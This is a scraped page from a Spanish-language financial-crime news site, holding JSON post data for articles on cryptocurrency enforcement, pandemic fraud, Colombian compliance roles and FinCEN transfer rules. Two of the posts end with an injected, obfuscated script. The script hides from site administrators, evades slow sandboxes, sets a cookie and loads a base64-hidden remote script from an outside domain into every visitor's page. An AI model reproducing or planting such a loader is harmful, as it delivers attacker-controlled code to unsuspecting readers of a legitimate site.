srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>No deje toda la ingenier\u00eda de sistemas, el an\u00e1lisis de datos, el ajuste del monitoreo de transacciones o la investigaci\u00f3n cibern\u00e9tica en manos de proveedores externos o expertos internos. Descubra c\u00f3mo la tecnolog\u00eda puede potenciar su programa para poder responder con precisi\u00f3n y celeridad cuando los reguladores reanuden su rigorosa labor en un mundo postpandemia.<\/p>\n\n\n\n<p>Pero tambi\u00e9n recuerde que puede ser un gran atributo ser autosuficiente cuando se trata de problemas de software. Eso puede incluir algo tan simple como comprender c\u00f3mo desbloquear su PC o volver a conectarse a su wi-fi, sin tener que realizar una llamada a su chico o chica de \"sistemas\".<\/p>\n\n\n\n<p><strong>No se quede atascado en la investigaci\u00f3n<\/strong><\/p>\n\n\n\n<p>Si bien los oradores acordaron en general que estas nuevas tecnolog\u00edas ayudar\u00e1n a descubrir y combatir mejor a los estafadores, lavadores y otros oligarcas corruptos y sus testaferros, nunca reemplazar\u00e1n la necesidad de un profesional de carne y hueso para la toma de decisiones.<\/p>\n\n\n\n<p>Dondequiera que se encuentre en el campo ALD\/CFT, sea cual sea su rol, para ascender necesita aprender m\u00e1s y nunca dejar de aprender. Algunas veces estos aprendizajes se expanden a los mundos virtuales. <\/p>\n\n\n\n<p>Para crear una defensa m\u00e1s s\u00f3lida para su instituci\u00f3n y evitar que su banco se convierta en un conducto para que los grupos criminales laven dinero, debe saber c\u00f3mo intentan limpiar las ganancias il\u00edcitas. \u00bfC\u00f3mo? Manteni\u00e9ndose al d\u00eda con la moneda virtual.<\/p>\n\n\n\n<p>No se desv\u00ede del debate sobre si Bitcoin y otras monedas virtuales son dep\u00f3sitos reales y aut\u00e9nticos de valor, \u201cdinero Monopoly\u201d o algo en el medio. El punto central para los profesionales del cumplimiento es que los delincuentes est\u00e1n utilizando monedas virtuales por sumas de hasta US$1.000 millones de d\u00f3lares.<\/p>\n\n\n\n<p>Entonces, para no quedar pedaleando en el aire por falta de conocimiento, debe aprender qu\u00e9qu\u00e9 monedas virtuales son m\u00e1s riesgosas y poder sopesar los distintos riesgos. Aprenda c\u00f3mo los investigadores rastrean las transacciones \"pseudo\" an\u00f3nimas en la cadena de bloques o blockchain.<\/p>\n\n\n\n<p><strong> <\/strong>\u201cEl desarrollo personal y la creaci\u00f3n de redes con otros profesionales son clave para el crecimiento profesional. \u00a1Nunca deje de estudiar, mantenerse actualizado y crear una conexi\u00f3n significativa! \" dijo un asistente.<\/p>\n\n\n\n<p><strong>Si\u00e9ntase inc\u00f3modo<\/strong><\/p>\n\n\n\n<p>Un orador se\u00f1al\u00f3 que para convertirse en un profesional m\u00e1s completo, debe individualizar aquellas \u00e1reas a las que teme o en las que cree que no es bueno y zambullirse en ellas.<\/p>\n\n\n\n<p>Descubra d\u00f3nde tiene miedo, d\u00f3nde est\u00e1 d\u00e9bil y le falta confianza y convierta esas vulnerabilidades en fortalezas para que tenga menos puntos ciegos cuando se sienta presionado.<\/p>\n\n\n\n<p>El equilibrio es un poderoso aliado cuando los reclutadores de profesionales del \u00e1rea de cumplimiento de delitos financieros analizan su historial laboral general, una medida que puede ayudar a comprender mejor su enfoque hol\u00edstico e integral en \u00e1reas dentro y fuera del  cumplimiento.<\/p>\n","post_title":"Crecer como profesional de cumplimiento, superar el miedo a la tecnolog\u00eda, sentirse \"inc\u00f3modo\" para progresar: Panorama de la Cumbre de Canad\u00e1","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"crecer-como-profesional-de-cumplimiento-superar-el-miedo-a-la-tecnologia-sentirse-incomodo-para-progresar-panorama-de-la-cumbre-de-canada","to_ping":"","pinged":"","post_modified":"2020-11-24 17:57:44","post_modified_gmt":"2020-11-24 21:57:44","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25412","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25400,"post_author":"16","post_date":"2020-11-24 11:21:03","post_date_gmt":"2020-11-24 15:21:03","post_content":"\n<p><\/p>\n\n\n\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/4bb7abE4e7E\n<\/div><\/figure>\n\n\n\n<p>Recientes novedades en Estados Unidos sugieren que los reguladores se est\u00e1n preparando para la adopci\u00f3n permanente de los activos digitales y esperan que las instituciones financieras comprendan su exposici\u00f3n y mitiguen los riesgos asociados.<\/p>\n\n\n\n<p><strong>Durante los \u00faltimos meses en Estados Unidos:<\/strong><\/p>\n\n\n\n<ul><li>la Oficina del Contralor de la Moneda (OCC) aclar\u00f3 que los bancos nacionales pueden brindar servicios de custodia de activos digitales a los clientes y participar en ciertas actividades de <em>stablecoins<\/em>, tambi\u00e9n llamadas monedas estable,<\/li><li>la Divisi\u00f3n de Banca de Wyoming emiti\u00f3 su primera 